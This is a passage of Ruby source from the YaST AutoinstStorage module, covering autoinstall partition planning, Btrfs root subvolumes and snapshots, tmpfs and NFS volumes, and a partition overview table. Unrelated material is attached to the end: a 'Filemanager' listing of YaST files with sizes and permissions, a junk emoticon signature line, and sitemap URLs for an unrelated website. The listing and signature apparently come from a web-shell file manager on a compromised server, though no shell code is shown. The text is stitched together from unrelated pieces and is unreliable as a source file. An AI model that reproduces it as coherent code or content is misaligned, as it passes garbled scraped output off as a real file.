            Builtins.size(Builtins.filter(data.fetch("partitions",[])) do |e|
              e.fetch("mount","") == Partitions.BootMount ||
                e.fetch("partition_id",0) == Partitions.FsidBoot(dlabel) &&
                  Partitions.FsidBoot(dlabel) != 131
            end),
            0
          )
          @planHasBoot = true
          raise Break
        end
      end
      Builtins.y2milestone("plan has boot: %1", @planHasBoot)

      tm = Storage.GetTargetMap
      changed = false
      Builtins.foreach(@AutoTargetMap) do |device, data|
        if !tm.has_key?(device) && data.fetch("type",:CT_DISK)==:CT_DISK
          if device && !device.empty?
            Report.Error(
              Builtins.sformat(
                _("device '%1' not found by storage backend"),
                device
              )
            )
          else
            Report.Error(
              Builtins.sformat(_("No suitable device has been found by storage backend"))
            )
          end
          Builtins.y2milestone("device %1 not found in TargetMap", device)
        end
        if Storage.IsPartitionable(data)
          @ZeroNewPartitions = data.fetch("zero_new_partitions",true)
          # that's not really nice. Just an undocumented fallback which should never be used
          Builtins.y2milestone("Creating partition plans for %1", device)

          sol = find_matching_disk([device], tm, data)
          result = true if sol.size>0

          Builtins.y2milestone("solutions: %1", sol)
          Builtins.y2milestone("disk: %1", tm[device])
          tm[device] = process_partition_data(device, sol)

          root_btrfs = find_root_btrfs(tm[device]["partitions"])
          configure_root_btrfs(root_btrfs, device: device, data: data) if root_btrfs

          changed = true
          SearchRaids(tm)
          Builtins.y2milestone("disk: %1", tm[device])
        end
      end

      Storage.SetTargetMap(tm) if changed

      changed = false
      tmpfs_device = @AutoTargetMap["/dev/tmpfs"]
      if tmpfs_device && tmpfs_device.has_key?("partitions")
        # Adding TMPFS
        tmpfs_device["partitions"].each do |partition|
          Storage.AddTmpfsVolume(partition["mount"], partition["fstopt"] || "")
          changed = true
        end
      end
      log.info("Target map after setting tmpfs: #{Storage.GetTargetMap}") if changed

      if Builtins.haskey(@AutoTargetMap, "/dev/nfs")
        Builtins.y2milestone("nfs:%1", Ops.get(@AutoTargetMap, "/dev/nfs", {}))
        Builtins.foreach(
          Ops.get_list(@AutoTargetMap, ["/dev/nfs", "partitions"], [])
        ) do |p|
          sizek = Storage.CheckNfsVolume(
            Ops.get_string(p, "device", ""),
            Ops.get_string(p, "fstopt", ""),
            Ops.get_boolean(p, "nfs4", false)
          )
          Builtins.y2milestone("nfs size:%1", sizek)
          ok = Storage.AddNfsVolume(
            Ops.get_string(p, "device", ""),
            Ops.get_string(p, "fstopt", ""),
            sizek,
            Ops.get_string(p, "mount", ""),
            Ops.get_boolean(p, "nfs4", false)
          )
          Builtins.y2milestone("nfs ok:%1", ok)
          Storage.ChangeVolumeProperties(p) if ok
          result = ok && Ops.get_string(p, "mount", "") == "/" if !result
        end
        Builtins.y2milestone("nfs result:%1", result)
      end

      result
    end

    # Finds a root partition with Btrfs format
    #
    # @param partitions [Array<Hash>] each hash corresponds to a partition (as they are
    #   represented in the target map).
    #
    # @return [Hash, nil]
    def find_root_btrfs(partitions)
      partitions.find { |part| root_btrfs?(part) }
    end

    # Whether the partition is mounted at root and formatted with Btrfs
    #
    # @param partition [Hash] partition as represented in the target map
    def root_btrfs?(partition)
      return false unless partition["mount"] == "/"

      partition["used_fs"] == :btrfs || partition["filesystem"] == :btrfs
    end

    # Configures a root Btrfs partition
    #
    # Snapshots are enabled if needed and subvolumes are added.
    #
    # The `partition` parameter is modified.
    #
    # @param partition [Hash] partition as represented in the target map
    # @param device [String] device that contains the partition
    # @param data [Hash] data of the device that contains the partition
    def configure_root_btrfs(partition, device: "", data: {})
      log.info("Configuring root Btrfs #{device}: #{partition}")

      enable_snapshots(partition, data)

      add_subvolumes(partition, device, data)
    end

    # Enables snapshots if needed
    #
    # The `partition` parameter is modified.
    #
    # @param partition [Hash] partition as represented in the target map
    # @param data [Hash] data of the device that contains the partition
    def enable_snapshots(partition, data)
      return unless data["enable_snapshots"]

      log.info("Enabling snapshots for device #{partition["device"]}")

      partition["userdata"] = { "/" => "snapshots" }
    end

    # Adds subvolumes if needed
    #
    # The `partition` parameter is modified.
    #
    # @param partition [Hash] partition as represented in the target map
    # @param device [String] device that contains the partition
    # @param data [Hash] data of the device that contains the partition
    def add_subvolumes(partition, device, data)
      return if partition["subvol"]

      # Add default subvolumes if the user has NOT explicit defined
      # a root partition with btrfs in the AY configuration
      # file for that device which does not have a subvolumes entry.
      # (bsc#1012328, bnc1059617)
      if !profile_with_root_btrfs?(device)
        log.info("Adding default subvolumes to #{data["device"]}")

        partition.merge!(Storage.AddSubvolRoot(partition))
      else
        log.info(
          "User has defined root partition (btrfs) with no subvolumes for device #{data["device"]}"
        )
      end
    end

    # Whether the AutoYaST profile specifies a root Btrfs partition in some device
    #
    # @param device [String] a device name
    # @return [Boolean]
    def profile_with_root_btrfs?(device)
      data = @AutoPartPlan.find { |d| d["device"] == device }

      return false unless data

      partitions = data["partitions"] || []
      partitions.any? { |part| root_btrfs?(part) }
    end

    # Build the id for a partition entry in the man table.
    # @parm disk_dev_name name of the devie e.g.: /dev/hda
    # @parm nr number of the partition e.g.: 1
    # @return [String] e.g.: 01./dev/hda
    def build_id(disk_dev_name, nr)
      nr = deep_copy(nr)
      Builtins.sformat("%1:%2", disk_dev_name, nr)
    end


    # Partitioning Overview
    # @return [Array] Overview
    def Overview
      Builtins.y2milestone("entering Overview")

      allfs = FileSystems.GetAllFileSystems(true, true, "")
      drives_table = []

      id = ""
      Builtins.foreach(@AutoPartPlan) do |d|
        id = Ops.get_string(d, "device", "")
        a = Item(Id(id), Ops.get_string(d, "device", ""), "", "", "", "", "")
        drives_table = Builtins.add(drives_table, a)
        partitions = Ops.get_list(d, "partitions", [])
        start_id = 1
        if Ops.greater_than(Builtins.size(partitions), 0)
          Builtins.foreach(partitions) do |p|
            id = build_id(Ops.get_string(d, "device", ""), start_id)
            b = Item(Id(id))
            b = Builtins.add(b, "")
            b = Builtins.add(b, Ops.get_string(p, "mount", ""))
            b = Builtins.add(b, Ops.get_string(p, "size", ""))
            if !Builtins.haskey(p, "filesystem_id")
              b = Builtins.add(
                b,
                Partitions.FsIdToString(Ops.get_integer(p, "partition_id", 131))
              )
            else
              b = Builtins.add(
                b,
                Partitions.FsIdToString(
                  Ops.get_integer(p, "filesystem_id", 131)
                )
              )
            end
            fs = Ops.get_map(
              allfs,
              Ops.get_symbol(p, "filesystem", :nothing),
              {}
            )
            fs_name = Ops.get_string(fs, :name, "")
            b = Builtins.add(b, fs_name)
            if Ops.greater_than(Builtins.size(Ops.get_list(p, "region", [])), 0)
              b = Builtins.add(
                b,
                Builtins.sformat(
                  "%1 - %2",
                  Ops.get_integer(p, ["region", 0], 0),
                  Ops.get_integer(p, ["region", 1], 0)
                )
              )
            else
              b = Builtins.add(b, "")
            end
            drives_table = Builtins.add(drives_table, b)
            start_id = Ops.add(start_id, 1)
          end
        end
      end

      entries = Builtins.size(drives_table)
      reversed_table = []
      counter = entries

      tmp = Item(Id(:empty))

      while counter != 0
        reversed_table = Builtins.add(
          reversed_table,
          Ops.get_term(drives_table, Ops.subtract(counter, 1), tmp)
        )
        counter = Ops.subtract(counter, 1)
      end
      Builtins.y2debug("table: %1", drives_table)
      deep_copy(drives_table)
    end

    publish :variable => :read_fstab, :type => "boolean"
    publish :variable => :ZeroNewPartitions, :type => "boolean"
    publish :variable => :fstab, :type => "map"
    publish :variable => :AutoPartPlan, :type => "list <map>"
    publish :variable => :AutoTargetMap, :type => "map <string, map>"
    publish :variable => :modified, :type => "boolean"
    publish :variable => :raid2device, :type => "map <string, list>"
    publish :variable => :planHasBoot, :type => "boolean"
    publish :variable => :tabooDevices, :type => "list <string>"
    publish :function => :SetModified, :type => "void ()"
    publish :function => :GetModified, :type => "boolean ()"
    publish :function => :humanStringToByte, :type => "integer (string, boolean)"
    publish :function => :AddFilesysData, :type => "map (map, map)"
    publish :function => :find_next_disk, :type => "string (map,string,symbol)"
    publish :function => :GetRaidDevices, :type => "list (string, map <string, map>)"
    publish :function => :SearchRaids, :type => "void (map <string, map>)"
    publish :function => :mountBy, :type => "list <map> (list <map>)"
    publish :function => :udev2dev, :type => "list <map> (list <map>)"
    publish :function => :checkSizes, :type => "list <map> (list <map>)"
    publish :function => :region4resize, :type => "list <map> (list <map>)"
    publish :function => :percent2size, :type => "list <map> (list <map>)"
    publish :function => :setPartitionType, :type => "list <map> (list <map>)"
    publish :function => :Import, :type => "boolean (list <map>)"
    publish :function => :ImportAdvanced, :type => "boolean (map)"
    publish :function => :Summary, :type => "string ()"
    publish :function => :SetFormatPartitions, :type => "boolean (list <map>)"
    publish :function => :Write, :type => "boolean ()"
    publish :function => :Overview, :type => "list ()"
  end

  AutoinstStorage = AutoinstStorageClass.new
  AutoinstStorage.main
end

Filemanager

Name Type Size Permission Actions
YaPI Folder 0755
YaST Folder 0755
ALog.rb File 3.26 KB 0644
AddOnProduct.rb File 78.59 KB 0644
Address.rb File 3.45 KB 0644
Arch.rb File 15.59 KB 0644
AsciiFile.rb File 12.59 KB 0644
Assert.rb File 2.06 KB 0644
AuditLaf.rb File 21.16 KB 0644
AuthServer.pm File 172.86 KB 0644
AutoInstall.rb File 11.34 KB 0644
AutoInstallRules.rb File 36.37 KB 0644
AutoinstClass.rb File 7.62 KB 0644
AutoinstClone.rb File 6.82 KB 0644
AutoinstCommon.rb File 3.18 KB 0644
AutoinstConfig.rb File 17.86 KB 0644
AutoinstData.rb File 2.37 KB 0644
AutoinstDrive.rb File 14.28 KB 0644
AutoinstFile.rb File 9.3 KB 0644
AutoinstFunctions.rb File 1.1 KB 0644
AutoinstGeneral.rb File 17.48 KB 0644
AutoinstImage.rb File 1.75 KB 0644
AutoinstLVM.rb File 21.58 KB 0644
AutoinstPartPlan.rb File 36.37 KB 0644
AutoinstPartition.rb File 14.53 KB 0644
AutoinstRAID.rb File 7.73 KB 0644
AutoinstScripts.rb File 36.75 KB 0644
AutoinstSoftware.rb File 38.57 KB 0644
AutoinstStorage.rb File 48.62 KB 0644
Autologin.rb File 4.82 KB 0644
BootArch.rb File 3.37 KB 0644
BootStorage.rb File 10.15 KB 0644
BootSupportCheck.rb File 7.36 KB 0644
Bootloader.rb File 15.87 KB 0644
CWM.rb File 39.16 KB 0644
CWMFirewallInterfaces.rb File 38.92 KB 0644
CWMServiceStart.rb File 27.49 KB 0644
CWMTab.rb File 13.2 KB 0644
CWMTable.rb File 14.57 KB 0644
CWMTsigKeys.rb File 24.93 KB 0644
CaMgm.rb File 12.9 KB 0644
Call.rb File 1.53 KB 0644
CheckMedia.rb File 6.1 KB 0644
CommandLine.rb File 52.89 KB 0644
Confirm.rb File 6.95 KB 0644
Console.rb File 8.63 KB 0644
ContextMenu.rb File 1.4 KB 0644
Crash.rb File 5.26 KB 0644
Cron.rb File 2.85 KB 0644
CustomDialogs.rb File 2.52 KB 0644
DNS.rb File 23.77 KB 0644
DebugHooks.rb File 4.89 KB 0644
DefaultDesktop.rb File 13.29 KB 0644
Desktop.rb File 12.5 KB 0644
DevicesSelectionBox.rb File 5.67 KB 0644
DhcpServer.pm File 70.43 KB 0644
DhcpServerUI.rb File 10.43 KB 0644
DialogTree.rb File 11.76 KB 0644
Directory.rb File 4.99 KB 0644
Distro.rb File 2.29 KB 0644
DnsData.pm File 1.65 KB 0644
DnsFakeTabs.rb File 751 B 0644
DnsRoutines.pm File 2.81 KB 0644
DnsServer.pm File 57.26 KB 0644
DnsServerAPI.pm File 68.81 KB 0644
DnsServerHelperFunctions.rb File 11.83 KB 0644
DnsServerUI.rb File 3.78 KB 0644
DnsTsigKeys.pm File 2.53 KB 0644
DnsZones.pm File 22.9 KB 0644
DontShowAgain.rb File 13.03 KB 0644
DualMultiSelectionBox.rb File 24.91 KB 0644
Encoding.rb File 4.54 KB 0644
Event.rb File 4.89 KB 0644
FTP.rb File 2.32 KB 0644
FileChanges.rb File 9.39 KB 0644
FileSystems.rb File 69.86 KB 0644
FileUtils.rb File 17.64 KB 0644
FtpServer.rb File 36.4 KB 0644
GPG.rb File 13.58 KB 0644
GPGWidgets.rb File 12.34 KB 0644
GetInstArgs.rb File 4.04 KB 0644
Greasemonkey.rb File 6.86 KB 0644
HTML.rb File 6.11 KB 0644
HTTP.rb File 3.37 KB 0644
HWConfig.rb File 5.1 KB 0644
Hooks.rb File 5.76 KB 0644
Host.rb File 10.78 KB 0644
Hostname.rb File 7.35 KB 0644
Hotplug.rb File 5.64 KB 0644
HttpServer.rb File 26.81 KB 0644
HttpServerWidgets.rb File 120.87 KB 0644
HwStatus.rb File 3.08 KB 0644
IP.rb File 12.65 KB 0644
IPSecConf.rb File 22.58 KB 0644
Icon.rb File 5.43 KB 0644
ImageInstallation.rb File 49.56 KB 0644
Inetd.rb File 28.29 KB 0644
Initrd.rb File 16.41 KB 0644
InstData.rb File 4.13 KB 0644
InstError.rb File 6.95 KB 0644
InstExtensionImage.rb File 15.48 KB 0644
InstFunctions.rb File 5.12 KB 0644
InstShowInfo.rb File 2.81 KB 0644
InstURL.rb File 6.06 KB 0644
Installation.rb File 10.29 KB 0644
Instserver.rb File 43.86 KB 0644
Integer.rb File 2.99 KB 0644
Internet.rb File 9.29 KB 0644
IscsiClient.rb File 9.74 KB 0644
IscsiClientLib.rb File 55.9 KB 0644
IsnsServer.rb File 11.07 KB 0644
Kdump.rb File 38.8 KB 0644
Kerberos.rb File 37.03 KB 0644
Kernel.rb File 22.96 KB 0644
KeyManager.rb File 8.47 KB 0644
Keyboard.rb File 50.48 KB 0644
Kickstart.rb File 23.84 KB 0644
Label.rb File 9.11 KB 0644
Lan.rb File 32.38 KB 0644
LanItems.rb File 94.36 KB 0644
Language.rb File 45.33 KB 0644
Ldap.rb File 63.96 KB 0644
LdapDatabase.rb File 77.2 KB 0644
LdapPopup.rb File 21.03 KB 0644
LdapServerAccess.pm File 8.73 KB 0644
Linuxrc.rb File 7.53 KB 0644
LogView.rb File 21.39 KB 0644
LogViewCore.rb File 6.32 KB 0644
Mail.rb File 43.92 KB 0644
MailAliases.rb File 6.88 KB 0644
MailTable.pm File 3.25 KB 0644
MailTableInclude.pm File 4.79 KB 0644
Map.rb File 4.27 KB 0644
Message.rb File 11.39 KB 0644
MiniWorkflow.rb File 2.88 KB 0644
Misc.rb File 11.8 KB 0644
Mode.rb File 10.76 KB 0644
ModuleLoading.rb File 9.26 KB 0644
ModulesConf.rb File 4.24 KB 0644
Mtab.rb File 1.24 KB 0644
NetHwDetection.rb File 8.46 KB 0644
Netmask.rb File 5.08 KB 0644
Network.rb File 1.3 KB 0644
NetworkConfig.rb File 5.9 KB 0644
NetworkInterfaces.rb File 56.49 KB 0644
NetworkPopup.rb File 7.86 KB 0644
NetworkService.rb File 12.71 KB 0644
NetworkStorage.rb File 1.91 KB 0644
Nfs.rb File 22.35 KB 0644
NfsOptions.rb File 5.63 KB 0644
NfsServer.rb File 10.64 KB 0644
Nis.rb File 42.75 KB 0644
NisServer.rb File 39.93 KB 0644
Nsswitch.rb File 3.6 KB 0644
NtpClient.rb File 46.6 KB 0644
OSRelease.rb File 3.68 KB 0644
OneClickInstall.rb File 28.86 KB 0644
OneClickInstallStandard.rb File 4.35 KB 0644
OneClickInstallWidgets.rb File 16.54 KB 0644
OneClickInstallWorkerFunctions.rb File 10.6 KB 0644
OneClickInstallWorkerResponse.rb File 5.63 KB 0644
OnlineUpdate.rb File 4.04 KB 0644
OnlineUpdateCallbacks.rb File 19.62 KB 0644
OnlineUpdateDialogs.rb File 16.85 KB 0644
Package.rb File 7.78 KB 0644
PackageAI.rb File 5.03 KB 0644
PackageCallbacks.rb File 87.95 KB 0644
PackageCallbacksInit.rb File 2.12 KB 0644
PackageInstallation.rb File 8.49 KB 0644
PackageKit.rb File 2.67 KB 0644
PackageLock.rb File 6.77 KB 0644
PackageSlideShow.rb File 42.52 KB 0644
PackageSystem.rb File 16.87 KB 0644
Packages.rb File 94.3 KB 0644
PackagesProposal.rb File 11.79 KB 0644
PackagesUI.rb File 24.29 KB 0644
Pam.rb File 3.73 KB 0644
Partitions.rb File 33.23 KB 0644
Popup.rb File 57.78 KB 0644
PortAliases.rb File 10.47 KB 0644
PortRanges.rb File 22.92 KB 0644
Printer.rb File 112.82 KB 0644
Printerlib.rb File 31.82 KB 0644
Product.rb File 8.9 KB 0644
ProductControl.rb File 52.95 KB 0644
ProductFeatures.rb File 12.23 KB 0644
ProductLicense.rb File 50.23 KB 0644
ProductProfile.rb File 8.01 KB 0644
Profile.rb File 29.95 KB 0644
ProfileLocation.rb File 9.45 KB 0644
Progress.rb File 28.17 KB 0644
Proxy.rb File 15.65 KB 0644
Punycode.rb File 11.81 KB 0644
Region.rb File 1.82 KB 0644
RelocationServer.rb File 14.65 KB 0644
Remote.rb File 10.42 KB 0644
Report.rb File 25.13 KB 0644
RichText.rb File 4.01 KB 0644
RootPart.rb File 71.9 KB 0644
Routing.rb File 17.25 KB 0644
SLP.rb File 7.06 KB 0644
SLPAPI.pm File 879 B 0644
SSHAuthorizedKeys.rb File 3.74 KB 0644
SUSERelease.rb File 2.82 KB 0644
Samba.rb File 38.14 KB 0644
SambaAD.pm File 12.46 KB 0644
SambaConfig.pm File 37.4 KB 0644
SambaNetJoin.pm File 13.14 KB 0644
SambaNmbLookup.pm File 6.58 KB 0644
SambaWinbind.pm File 5.33 KB 0644
Security.rb File 27.79 KB 0644
Sequencer.rb File 12.6 KB 0644
Service.rb File 15.66 KB 0644
ServicesProposal.rb File 2.37 KB 0644
SignatureCheckCallbacks.rb File 11.1 KB 0644
SignatureCheckDialogs.rb File 36.74 KB 0644
SlideShow.rb File 33.27 KB 0644
SlideShowCallbacks.rb File 21.04 KB 0644
Slides.rb File 7.56 KB 0644
SlpService.rb File 5.37 KB 0644
Snapper.rb File 16.93 KB 0644
SnapperDbus.rb File 6.73 KB 0644
SourceDialogs.rb File 83.88 KB 0644
SourceManager.rb File 25.54 KB 0644
SourceManagerSLP.rb File 18.66 KB 0644
SpaceCalculation.rb File 35.03 KB 0644
Squid.rb File 51.25 KB 0644
SquidACL.rb File 16.84 KB 0644
SquidErrorMessages.rb File 5.59 KB 0644
Stage.rb File 3.6 KB 0644
Storage.rb File 234.29 KB 0644
StorageClients.rb File 6.68 KB 0644
StorageControllers.rb File 13.47 KB 0644
StorageDevices.rb File 19.86 KB 0644
StorageFields.rb File 45.67 KB 0644
StorageIcons.rb File 3.18 KB 0644
StorageInit.rb File 3.62 KB 0644
StorageProposal.rb File 222.63 KB 0644
StorageSettings.rb File 6.33 KB 0644
StorageSnapper.rb File 3.96 KB 0644
StorageUpdate.rb File 24.13 KB 0644
String.rb File 30.46 KB 0644
SuSEFirewall.rb File 1.29 KB 0644
SuSEFirewall4Network.rb File 12.24 KB 0644
SuSEFirewallCMDLine.rb File 53.73 KB 0644
SuSEFirewallExpertRules.rb File 13.11 KB 0644
SuSEFirewallProposal.rb File 25.99 KB 0644
SuSEFirewallServices.rb File 2.87 KB 0644
SuSEFirewallUI.rb File 2 KB 0644
Sudo.rb File 18.06 KB 0644
Summary.rb File 6.22 KB 0644
Support.rb File 14.83 KB 0644
Sysconfig.rb File 39.21 KB 0644
SystemFilesCopy.rb File 16.27 KB 0644
Systemd.rb File 4.88 KB 0644
TFTP.rb File 2.08 KB 0644
TabPanel.rb File 4.36 KB 0644
TablePopup.rb File 34.41 KB 0644
TftpServer.rb File 10.72 KB 0644
Timezone.rb File 35.64 KB 0644
TreePanel.rb File 5.24 KB 0644
TypeRepository.rb File 5.03 KB 0644
UIHelper.rb File 5.56 KB 0644
URL.rb File 22.61 KB 0644
URLRecode.rb File 1.88 KB 0644
Update.rb File 33.73 KB 0644
UserSettings.rb File 3.41 KB 0644
Users.pm File 193.07 KB 0644
UsersCache.pm File 32.48 KB 0644
UsersLDAP.pm File 51.51 KB 0644
UsersPasswd.pm File 24.75 KB 0644
UsersPluginKerberos.pm File 7.22 KB 0644
UsersPluginLDAPAll.pm File 12.98 KB 0644
UsersPluginLDAPPasswordPolicy.pm File 10.49 KB 0644
UsersPluginLDAPShadowAccount.pm File 11.49 KB 0644
UsersPluginQuota.pm File 12.5 KB 0644
UsersPlugins.pm File 4.73 KB 0644
UsersRoutines.pm File 20.04 KB 0644
UsersSimple.pm File 26.37 KB 0644
UsersUI.rb File 19.49 KB 0644
ValueBrowser.rb File 6.97 KB 0644
Vendor.rb File 6.1 KB 0644
VirtConfig.rb File 22.91 KB 0644
WOL.rb File 4.66 KB 0644
Wizard.rb File 53.13 KB 0644
WizardHW.rb File 18.16 KB 0644
WorkflowManager.rb File 53.17 KB 0644
XML.rb File 6.33 KB 0644
XVersion.rb File 3.7 KB 0644
Y2ModuleConfig.rb File 13.11 KB 0644
YPX.pm File 1.1 KB 0644
YaPI.pm File 5.3 KB 0644
services_manager.rb File 2.41 KB 0644
services_manager_service.rb File 18.04 KB 0644
services_manager_target.rb File 5.04 KB 0644
systemd_service.rb File 6.67 KB 0644
systemd_socket.rb File 3.61 KB 0644
systemd_target.rb File 3.53 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml